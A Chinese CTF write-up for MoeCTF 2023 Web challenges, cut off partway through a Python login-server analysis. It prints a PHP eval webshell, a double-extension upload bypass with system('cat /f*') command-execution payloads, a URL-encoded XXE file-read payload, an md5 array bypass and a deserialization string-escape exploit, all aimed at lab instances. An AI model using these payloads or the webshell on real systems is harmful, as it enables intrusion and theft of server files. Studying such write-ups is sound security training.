• [MoeCTF 2023]——Web方向详细Write up、Re、Misc、Crypto部分Writeup


    签到

    hello CTFer

    将url地址复制然后打开即可

    image-20230814112924554

    得到flag

    image-20230814113010148

    Web

    http

    听说这个http里还有个什么东西叫饼干,也不知道是不是吃的

    踩坑了,这里用连接器。。。

    开启题目环境

    image-20230814125337810

    GET方式请求,然后把各种请求头往里加

    GET
    ?UwU=u
    
    Header:
    User-Agent: MoeBrowser
    Cookie: character=admin
    X-Forwarded-For:127.0.0.1
    
    POST data:
    Luv=u
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    image-20230814133408472

    Web入门指北

    解码获取flag

    群文件的web入门指北拉到最后得到字符串

    666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c5131524758316379596c396a61474673624756755a3055684958303d
    
    • 1

    十六进制转字符串

    image-20230814134446132

    得到

    flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=
    
    • 1

    flag内容base64解密

    moectf{w3lCome_To_moeCTF_W2b_challengE!!}
    
    • 1

    cookie

    “狗子真的吃饼干吗”,“布偶猫一吃就拉”,”那就让《屋里的狗》吃吧(指吃饼干“

    下载附件,内容如下

    一些api说明

    注册 POST /register

    {
    "username":"koito",
    "password":"123456"
    }
    
    • 1
    • 2
    • 3
    • 4

    登录 POST /login

    {
    "username":"koito",
    "password":"123456"
    }
    
    • 1
    • 2
    • 3
    • 4

    获取flag GET /flag

    查询服务状态 GET /status

    直接看/flag,不行的嘞

    image-20230814135355480

    那就POST方式去访问/register,发送json包进行注册

    image-20230814140102772

    然后访问login

    image-20230814140150637

    可以看到执行一个Set-Cookie,base64解码一下

    image-20230814140303231

    登录显示我不是管理员

    image-20230814140351495

    修改一下token的内容然后base64编码后修改

    image-20230814140438199

    payload:

    eyJ1c2VybmFtZSI6ICJMZWFmIiwgInBhc3N3b3JkIjogIjEyMzQ1NiIsICJyb2xlIjogImFkbWluIn0=
    
    • 1

    character也修改为admin

    image-20230814140606871

    彼岸的flag

    我们在某个平行宇宙中得到了一段moectf群的聊天记录,粗心的出题人在这个聊天平台不小心泄露了自己的flag

    Ctrl+U查看源码得到flag

    image-20230814145628717

    gas!gas!gas!

    Klutton这个假期信心满满地准备把驾照拿下,于是他仔细地学习了好多漂移视频,还准备了这么一个赛博赛车场;诶,不对,开车好像不是用键盘开的?

    用脚本打,脚本如下

    import requests
    
    url = 'http://localhost:16521/'
    res = requests.session()      #创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。
    
    response = res.post(url, data={"driver":"Leafzzz","steering_control":0,"throttle":0})   #发post包,获取题目
    
    for i in range(1, 99):
        math = ""
    
        resTest = response.text            #获取返回包的内容
        if "太大" in resTest:
            ym=2
        elif "太小" in resTest:
            ym =0
        else:
            ym = 1
    
        if "向左" in resTest:
            fx=1
        elif "向右" in resTest:
            fx =-1
        else:
            fx =0
    
        myData = {   #构造的POST数据
            "driver":"Leafzzz",
            "steering_control":fx,
            "throttle":ym
        }
    
        response = res.post(url, data=myData) #发post包,提交答案,并且获取返回包,获取下一个计算式
        print(response.text)          #打印当前返回包的内容
    
        if "moectf{" in response.text:       #如果返回包里面有flag
            print("Flaggggggggg!!!: ", response.text)
            exit() # 退出当前程序,也可以break
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37

    得到flag

    image-20230814181508334

    大海捞针

    该死,之前的平行宇宙由于flag的泄露被一股神秘力量抹去,我们脱离了与那个宇宙的连接了!不过不用担心,看起来出题人傻乎乎的是具有泄露flag的概率的,我们只需要连接多个平行宇宙…(难道flag在多元宇宙里是全局变量吗)

    爆破,ip改为127.0.0.1

    image-20230814153111968

    1-1000爆破

    image-20230814153125237

    然后开始攻击,爆破出结果,id=530

    image-20230814153140492

    moe图床

    我们准备了一个moe图床用于上传一些图片

    提前放一个一句话木马的内容

    
    phpinfo();
    @eval($_REQUEST["cmd"]);
    ?>
    
    • 1
    • 2
    • 3
    • 4

    文件上传

    image-20230815175221403

    先传马php文件

    image-20230815175311819

    存在前端拦截,将文件格式改为png然后上传,burp抓包修改为php文件

    image-20230815180212436

    但是还是上传失败,那就试试.htaccess文件(也不行)

    f12可以看到前端代码

    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8">
        <title>moe图床</title>
    </head>
    <body>
        <input type="file" id="fileInput">
        <button onclick="uploadFile()">上传</button>
        <div id="uploadResult"></div>
        <script>
            function uploadFile() {
                const fileInput = document.getElementById('fileInput');
                const file = fileInput.files[0];
                
                if (!file) {
                    alert('请选择一个文件进行上传!');
                    return;
                }
                
                const allowedExtensions = ['png'];
                const fileExtension = file.name.split('.').pop().toLowerCase();
                if (!allowedExtensions.includes(fileExtension)) {
                    alert('只允许上传后缀名为png的文件!');
                    return;
                }
                
                const formData = new FormData();
                formData.append('file', file);
    
                fetch('upload.php', {
                    method: 'POST',
                    body: formData
                })
                .then(response => response.json())
                .then(result => {
                    if (result.success) {
                        const uploadResult = document.getElementById('uploadResult');
                        const para = document.createElement('p');
                        para.textContent = ('地址:');
                        const link = document.createElement('a');
                        link.textContent = result.file_path;
                        link.href = result.file_path;
                        link.target = '_blank';
                        para.append(link);
                        uploadResult.appendChild(para);
    
                        alert('文件上传成功!');
                    } else {
                        alert('文件上传失败:' + result.message);
                    }
                })
                .catch(error => {
                    console.error('文件上传失败:', error);
                });
            }
        </script>
    </body>
    </html>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59

    发现存在upload.php,访问得到源代码

    
    $targetDir = 'uploads/';
    $allowedExtensions = ['png'];
    
    
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
        $file = $_FILES['file'];
        $tmp_path = $_FILES['file']['tmp_name'];
    
        if ($file['type'] !== 'image/png') {
            die(json_encode(['success' => false, 'message' => '文件类型不符合要求']));
        }
    
        if (filesize($tmp_path) > 512 * 1024) {
            die(json_encode(['success' => false, 'message' => '文件太大']));
        }
    
        $fileName = $file['name'];
        $fileNameParts = explode('.', $fileName);
    
        if (count($fileNameParts) >= 2) {
            $secondSegment = $fileNameParts[1];
            if ($secondSegment !== 'png') {
                die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
            }
        } else {
            die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
        }
    
        $uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);
    
        if (move_uploaded_file($tmp_path, $uploadFilePath)) {
            die(json_encode(['success' => true, 'file_path' => $uploadFilePath]));
        } else {
            die(json_encode(['success' => false, 'message' => '文件上传失败']));
        }
    }
    else{
        highlight_file(__FILE__);
    }
    ?> 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41

    这段代码是一个简单的PHP脚本,用于处理上传图片文件的功能。下面我会逐步解释代码中的各个部分:

    1. $targetDir = 'uploads/';:这是指定上传文件保存的目标目录,目录名为 “uploads”。需要确保该目录在脚本的执行位置下存在,并且具有适当的写入权限。
    2. $allowedExtensions = ['png'];:这是一个允许上传的文件扩展名的数组,只允许上传扩展名为 “png” 的图片文件。
    3. if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {:这是一个条件判断,检查是否是通过 POST 请求上传文件,并且确保存在名为 “file” 的文件上传字段。
    4. $file = $_FILES['file'];:将上传的文件信息存储在名为 “$file” 的变量中,以便后续使用。
    5. $tmp_path = $_FILES['file']['tmp_name'];:获取上传文件的临时文件路径。
    6. if ($file['type'] !== 'image/png') { ... }:检查上传文件的 MIME 类型是否为 “image/png”,即确保上传的文件是 PNG 图片。
    7. if (filesize($tmp_path) > 512 * 1024) { ... }:检查上传文件的大小是否超过了 512KB(即 512 * 1024 字节)的限制。
    8. 解析文件名:
    • $fileName = $file['name'];:获取上传文件的原始文件名。
    • $fileNameParts = explode('.', $fileName);:将文件名通过点号 “.” 进行分割,得到文件名各个部分的数组。
    1. 文件名和扩展名校验:
    • 如果文件名部分的数组长度大于等于 2,说明文件名中至少包含了一个点号。
    • $secondSegment = $fileNameParts[1];:获取文件名的第二个部分,即文件扩展名部分。
    • 进行判断,如果第二个部分不是 “png”,则拒绝上传。
    1. 移动上传文件:
    • 构造上传文件的目标路径:$uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);。这会将文件保存在指定的目标目录下,并使用原始文件名。
    • move_uploaded_file($tmp_path, $uploadFilePath):尝试将临时文件移动到目标路径。如果移动成功,返回 true,否则返回 false。
    1. 根据移动结果返回响应:
    • 如果移动成功,返回 JSON 格式的成功消息,包含上传后的文件路径。
    • 如果移动失败,返回 JSON 格式的失败消息。
    1. else 分支:如果不是通过 POST 请求上传文件或者没有名为 “file” 的文件上传字段,就会显示当前 PHP 文件的代码内容。

    存在逻辑漏洞

     $fileNameParts = explode('.', $fileName);
    
        if (count($fileNameParts) >= 2) {
            $secondSegment = $fileNameParts[1];
            if ($secondSegment !== 'png') {
                die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
            }
        } else {
            die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
        }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    这里只会将遇到的.分开,然后判断第二个是不是png

    但是apache解析是按照最后一个文件后缀解析的,只需要传两个个后缀就可以绕过

    前端绕过和前面类似,burp抓包然后修改

    image-20230815184219788

    上传成功,并且得到文件路径/uploads/cmd.png.php,去访问

    成功执行phpinfo();,然后进行rce

    image-20230815184346377

    payload:

    uploads/cmd.png.php?cmd=system("ls /");
    
    • 1

    image-20230815184656045

    然后cat /f*得到flag,payload:

    uploads/cmd.png.php?cmd=system("cat /f*");
    
    • 1

    也可以蚁剑连接,这里不赘述了

    了解你的座驾

    为了极致地漂移,我们准备了一个网站用于查找你喜欢的车车;听说flag也放在里面了,不过不在网站目录放在根目录应该没问题的吧。。。

    抓包,发现xml_content

    image-20230816005023075

    url解码一下,得到

    Dodge Viper
    
    • 1

    F12可以看到前端脚本

    function submitForm(name) {
    	var form = document.createElement("form");
    	form.method = "post";
    	form.action = "index.php";
    	var input = document.createElement("input");
    	input.type = "hidden";
    	input.name = "xml_content";
    	input.value = "" + name + "";
    	form.appendChild(input);
    	document.body.appendChild(form);
    	form.submit();
    	}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    猜测是XXE

    关于XXE学习贴个链接:CTF XXE

    这里直接贴个payload:

    
    
    ]>
    &file;1
    
    • 1
    • 2
    • 3
    • 4
    • 5

    修改一下

    
    
    ]>
    &file;
    
    • 1
    • 2
    • 3
    • 4
    • 5

    然后进行url编码

    这里踩坑了,一定要编码,不然没有用

    %3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%55%54%46%2d%38%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%61%6e%79%5b%0a%20%20%3c%21%45%4e%54%49%54%59%20%66%69%6c%65%20%53%59%53%54%45%4d%20%22%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%2f%2f%2f%66%6c%61%67%22%3e%0a%5d%3e%0a%3c%78%6d%6c%3e%3c%6e%61%6d%65%3e%26%66%69%6c%65%3b%3c%2f%6e%61%6d%65%3e%3c%2f%78%6d%6c%3e
    
    • 1

    传参给xml_content,base64解码得到flag

    image-20230818010805100

    meo图床

    我们准备了一个meo(?)图床用于上传一些图片

    也是考察文件上传,先上传PHP文件试试

    image-20230816201607350

    burp抓包修改文件后缀试试

    image-20230817211659989

    这里看到php文件是可以上传成功的,去查看一下

    image-20230817211826313

    可惜这里无法访问我们的.php文件,只能访问我们上传的.png文件

    但是可以看到file_get_contents函数,猜测有任意文件读取

    构造payload读取flag

    ?name=../../../../../../flag 
    
    • 1

    image-20230817214722888

    跟我们flag不在这里,但是这里有个提示Fl3g_n0t_Here_dont_peek!!!!!.php,访问一下

    踩坑,这里不用name变量,直接访问就行了,我开始还以为这个hint没有用,就一直没找出来

    http://localhost:port/Fl3g_n0t_Here_dont_peek!!!!!.php
    
    • 1

    看到代码

     <?php
    
    highlight_file(__FILE__);
    
    if (isset($_GET['param1']) && isset($_GET['param2'])) {
        $param1 = $_GET['param1'];
        $param2 = $_GET['param2'];
    
        if ($param1 !== $param2) {
            
            $md5Param1 = md5($param1);
            $md5Param2 = md5($param2);
    
            if ($md5Param1 == $md5Param2) {
                echo "O.O!! " . getenv("FLAG");
            } else {
                echo "O.o??";
            }
        } else {
            echo "o.O?";
        }
    } else {
        echo "O.o?";
    }
    
    ?> 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    md5弱比较,直接数组绕过就可以了

    /Fl3g_n0t_Here_dont_peek!!!!!.php?param1[]=1¶m2[]=2
    
    • 1

    得到flag

    image-20230817214916750

    夺命十三枪

    夺命十三枪!然后是啥来着?

    反序列化,开启环境得到源码

    
    highlight_file(__FILE__);
    
    require_once('Hanxin.exe.php');
    
    $Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';
    
    $new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);
    
    $before = serialize($new_visitor);
    $after = Deadly_Thirteen_Spears::Make_a_Move($before);
    echo 'Your Movements: ' . $after . '
    '
    ; try{ echo unserialize($after); }catch (Exception $e) { echo "Even Caused A Glitch..."; } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    存在Hanxin.exe.php,访问文件得到源码

    
    
    if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
        highlight_file(__FILE__);
    }
    
    class Deadly_Thirteen_Spears{
        private static $Top_Secret_Long_Spear_Techniques_Manual = array(
            "di_yi_qiang" => "Lovesickness",
            "di_er_qiang" => "Heartbreak",
            "di_san_qiang" => "Blind_Dragon",
            "di_si_qiang" => "Romantic_charm",
            "di_wu_qiang" => "Peerless",
            "di_liu_qiang" => "White_Dragon",
            "di_qi_qiang" => "Penetrating_Gaze",
            "di_ba_qiang" => "Kunpeng",
            "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
            "di_shi_qiang" => "Overlord",
            "di_shi_yi_qiang" => "Letting_Go",
            "di_shi_er_qiang" => "Decisive_Victory",
            "di_shi_san_qiang" => "Unrepentant_Lethality"
        );
    
        public static function Make_a_Move($move){
            foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
                $move = str_replace($index, $movement, $move);
            }
            return $move;
        }
    }
    
    class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
    
        public $Chant = '';
        public $Spear_Owner = 'Nobody';
    
        function __construct($chant){
            $this->Chant = $chant;
            $this->Spear_Owner = 'Nobody';
        }
    
        function __toString(){
            if($this->Spear_Owner !== 'MaoLei'){
                return 'Far away from COOL...';
            }
            else{
                return "Omg You're So COOOOOL!!! " . getenv('FLAG');
            }
        }
    }
    
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52

    先构造pop链,倒着找

    Hanxin.exe.php文件中的Omg_It_Is_So_Cool_Bring_Me_My_Flag类中,存在__toString()魔术方法,里面的语句可以得到flag

    __toString(): 当一个对象被当作字符串使用时触发

    向上找,发现在index.php中,echo unserialize($after)将反序列化后的$after当做字符串输出

    $after是经过Deadly_Thirteen_SpearsMake_a_Move()静态方法重构后的

    先解释一下Deadly_Thirteen_Spears的作用

    class Deadly_Thirteen_Spears{
        private static $Top_Secret_Long_Spear_Techniques_Manual = array(
            "di_yi_qiang" => "Lovesickness",
            "di_er_qiang" => "Heartbreak",
            "di_san_qiang" => "Blind_Dragon",
            "di_si_qiang" => "Romantic_charm",
            "di_wu_qiang" => "Peerless",
            "di_liu_qiang" => "White_Dragon",
            "di_qi_qiang" => "Penetrating_Gaze",
            "di_ba_qiang" => "Kunpeng",
            "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
            "di_shi_qiang" => "Overlord",
            "di_shi_yi_qiang" => "Letting_Go",
            "di_shi_er_qiang" => "Decisive_Victory",
            "di_shi_san_qiang" => "Unrepentant_Lethality"
        );
    
        public static function Make_a_Move($move){
            foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
                $move = str_replace($index, $movement, $move);
            }
            return $move;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    这段代码定义了一个名为 Deadly_Thirteen_Spears 的类,其中包含一个静态方法 Make_a_Move(),这个方法用于将输入的字符串进行一系列替换操作。下面逐行解释代码的功能和作用:

    1. private static $Top_Secret_Long_Spear_Techniques_Manual = array(...);: 这是一个私有的静态属性,它是一个关联数组,包含了一组“绝密长枪技巧手册”的内容。每个键值对表示一个技巧,其中键是技巧的标识,值是技巧的名称。
    2. public static function Make_a_Move($move) {: 这是一个公共的静态方法,接受一个字符串参数 $move,表示要处理的移动。这个方法将对输入的字符串进行处理。
    3. foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement) {: 这是一个循环语句,遍历了之前定义的绝密长枪技巧手册数组。对于每一项技巧,循环会将数组中的键(技巧的标识)赋值给变量 $index,将数组中的值(技巧的名称)赋值给变量 $movement
    4. $move = str_replace($index, $movement, $move);: 在循环内部,这行代码使用 str_replace() 函数将字符串 $move 中的 $index 部分(即技巧的标识)替换为 $movement 部分(即技巧的名称)。这样,会对字符串进行一系列的替换操作,将特定的技巧标识替换为对应的技巧名称。
    5. return $move;: 最后,方法返回经过替换处理后的字符串

    简单来说就是我们在$before = serialize($new_visitor);得到的序列化字符串,在传入这个方法后,会检测关键词并进行替换,替换方式如下

    "di_yi_qiang" => "Lovesickness",
    "di_er_qiang" => "Heartbreak",
    "di_san_qiang" => "Blind_Dragon",
    "di_si_qiang" => "Romantic_charm",
    "di_wu_qiang" => "Peerless",
    "di_liu_qiang" => "White_Dragon",
    "di_qi_qiang" => "Penetrating_Gaze",
    "di_ba_qiang" => "Kunpeng",
    "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
    "di_shi_qiang" => "Overlord",
    "di_shi_yi_qiang" => "Letting_Go",
    "di_shi_er_qiang" => "Decisive_Victory",
    "di_shi_san_qiang" => "Unrepentant_Lethality"
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    关于字符串增多逃逸可以看一下CTFshow反序列化系列的web262

    再往上找$before = serialize($new_visitor),会序列化$new_visitor,再之前我们需要传入chant参数,然后$new_visitor会创建一个Omg_It_Is_So_Cool_Bring_Me_My_Flag对象,并且将Chant的值等于我们传入的$chant

    所以构造pop链

    Omg_It_Is_So_Cool_Bring_Me_My_Flag::__toString() <-- echo unserialize($after) <-- Deadly_Thirteen_Spears::Make_a_Move() <-- new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant) <-- $_GET['chant']
    
    • 1

    如果想成功触发getenv(FLAG)就需要Omg_It_Is_So_Cool_Bring_Me_My_FlagSpear_Owner的属性的值变为MaoLei,但是我们无法直接更改Spear_Owner的值,所以就需要利用字符串逃逸来更改

    这里打算利用字符串增多逃逸,所以这里我选的第一枪di_yi_qiang => Lovesickness

    先构造好我们想要的exp

    
    class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
        public $Spear_Owner;
        function __construct(){
            $this->Spear_Owner = 'MaoLei';
        }
    }
    
    $a=new Omg_It_Is_So_Cool_Bring_Me_My_Flag();
    echo serialize($a);
    #得到Spear_Owner=MaoLei的序列化结果
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    运行脚本之后得到

    O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":1:{s:11:"Spear_Owner";s:6:"MaoLei";}
    
    • 1

    这里我们需要的是后半部分,也就是{s:11:"Spear_Owner";s:6:"MaoLei";}

    但是需要前面闭合的{,而且还要加";来闭合前面的序列化字符串,所以得到字符串

    ";s:11:"Spear_Owner";s:6:"MaoLei";}
    
    • 1

    计算一下字符串长度

    
    echo strlen('";s:11:"Spear_Owner";s:6:"MaoLei";}');
    #35
    ?>
    
    • 1
    • 2
    • 3
    • 4

    然后按照题目的序列化,让chant等于我们得到的值然后先运行一遍看看序列化结果

    
    class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
        public $Chant = '1";s:11:"Spear_Owner";s:6:"MaoLei";}';
        public $Spear_Owner = 'Nobody';
    }
    
    $a=new Omg_It_Is_So_Cool_Bring_Me_My_Flag();
    echo serialize($a);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    运行得到

    O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:36:"1";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}
    
    • 1

    观察运行结果

    image-20230816200027996

    这里s表示的值是36,但是遇到了一个字符“1”就闭合了,多出来的35个字符正是我们构造出来的序列化字符串";s:11:"Spear_Owner";s:6:"MaoLei";}

    如果直接传入,那么在反序列化的时候就会产生报错,所以我们就要想办法去造出来多出来的这35个字符,题目中给出利用点

    就是Make_a_move方法,这里用第一枪di_yi_qiang => Lovesickness

    会在序列化之后生成的字符串中di_yi_qiang替换为Lovesickness,每替换一个就会多出来一个字符,所以我们构造payload的时候构造35个di_yi_qiang就会在替换后多出来35个字母,因为已经序列化完了,所以s:36并不会改变,从而实现字符串逃逸

    先生成35个di_yi_qiang

    
    $a=1;
    for($a=1;$a<=35;$a++){
      echo 'di_yi_qiang';
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    最后payload:

    ?chant=di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}
    
    • 1

    传参得到flag

    image-20230816200948892

    signin

    真的是signin(

    题目存在附件(刚开始没看见,无语了)

    源码如下

    from secrets import users, salt
    import hashlib
    import base64
    import json
    import http.server
    
    with open("flag.txt","r") as f:
        FLAG = f.read().strip()
    
    def gethash(*items):
        c = 0
        for item in items:
            if item is None:
                continue
            c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
        return hex(c)[2:]
    
    assert "admin" in users
    assert users["admin"] == "admin"
    
    hashed_users = dict((k,gethash(k,v)) for k,v in users.items())
    
    eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?
        
    def decrypt(data:str):
            for x in range(5):
                data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
            return data
    
    __page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD......")
            
    class MyHandler(http.server.BaseHTTPRequestHandler):
        def do_GET(self):
            try:
                if self.path == "/":
                    self.send_response(200)
                    self.end_headers()
                    self.wfile.write(__page__)
                else:
                    self.send_response(404)
                    self.end_headers()
                    self.wfile.write(b"404 Not Found")
            except Exception as e:
                print(e)
                self.send_response(500)
                self.end_headers()
                self.wfile.write(b"500 Internal Server Error")
    
        def do_POST(self):
            try:
                if self.path == "/login":
                    body = self.rfile.read(int(self.headers.get("Content-Length")))
                    payload = json.loads(body)
                    params = json.loads(decrypt(payload["params"]))
                    print(params)
                    if params.get("username") == "admin":
                        self.send_response(403)
                        self.end_headers()
                        self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
                        print("admin")
                        return
                    if params.get("username") == params.get("password"):
                        self.send_response(403)
                        self.end_headers()
                        self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
                        print("same")
                        return
                    hashed = gethash(params.get("username"),params.get("password"))
                    for k,v in hashed_users.items():
                        if hashed == v:
                            data = {
                                "user":k,
                                "hash":hashed,
                                "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
                            }
                            self.send_response(200)
                            self.end_headers()
                            self.wfile.write(json.dumps(data).encode())
                            print("success")
                            return
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"Invalid username or password")
                else:
                    self.send_response(404)
                    self.end_headers()
                    self.wfile.write(b"404 Not Found")
            except Exception as e:
                print(e)
                self.send_response(500)
                self.end_headers()
                self.wfile.write(b"500 Internal Server Error")
    
    if __name__ == "__main__":
        server = http.server.HTTPServer(("", 9999), MyHandler)
        server.serve_forever()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96

    中间一大段base64编码的值是前端代码,不用管他

    这里进行代码分析一下,一段一段来

    先不分析gethash,这里有解题的关键

    eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?
    
    • 1

    这里的作用是简单来讲就是将base64encode的作用变为base64decode也就是在这段程序中,编码的作用变为解码

    接下来decrypt函数

    def decrypt(data:str):
            for x in range(5):
                data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
            return data
    
    • 1
    • 2
    • 3
    • 4

    这个函数的作用是循环进行五次base64encode也就是base64编码,但是在上面一段的eval()语句中,将编码的功能变成解码,所以这段函数的作用也就变成了base64decode也就是这段函数的作用变成了五次base64解码

    然后是main函数

    if __name__ == "__main__":
        server = http.server.HTTPServer(("", 9999), MyHandler)
        server.serve_forever()
    
    • 1
    • 2
    • 3

    这里会接受HTTPServer也就是HTTP请求头然后利用MyHandler进行处理

    MyHandler

    class MyHandler(http.server.BaseHTTPRequestHandler):
        def do_GET(self):
